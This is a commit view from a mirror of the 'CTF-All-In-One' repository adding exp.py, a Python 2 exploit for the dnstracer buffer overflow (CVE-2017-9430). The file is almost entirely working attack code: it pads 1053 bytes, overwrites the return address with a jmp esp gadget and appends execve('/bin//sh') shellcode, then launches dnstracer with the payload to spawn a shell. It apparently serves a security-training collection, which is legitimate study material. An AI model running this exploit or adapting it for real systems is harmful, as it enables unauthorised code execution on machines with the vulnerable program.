mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2025-06-24 04:05:03 +07:00
finish 7.1.6
This commit is contained in:
16
src/exploit/7.1.6_dnstracer_2017-9430/exp.py
Normal file
16
src/exploit/7.1.6_dnstracer_2017-9430/exp.py
Normal file
@ -0,0 +1,16 @@
|
||||
import os
|
||||
from subprocess import call
|
||||
|
||||
def exp():
|
||||
filling = "A"*1053
|
||||
jmp_esp = "\x5f\xcc\x04\x08"
|
||||
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
|
||||
|
||||
payload = filling + jmp_esp + shellcode
|
||||
call(["dnstracer", payload])
|
||||
|
||||
if __name__ == '__main__':
|
||||
try:
|
||||
exp()
|
||||
except Exception as e:
|
||||
print "Something went wrong"
|
Reference in New Issue
Block a user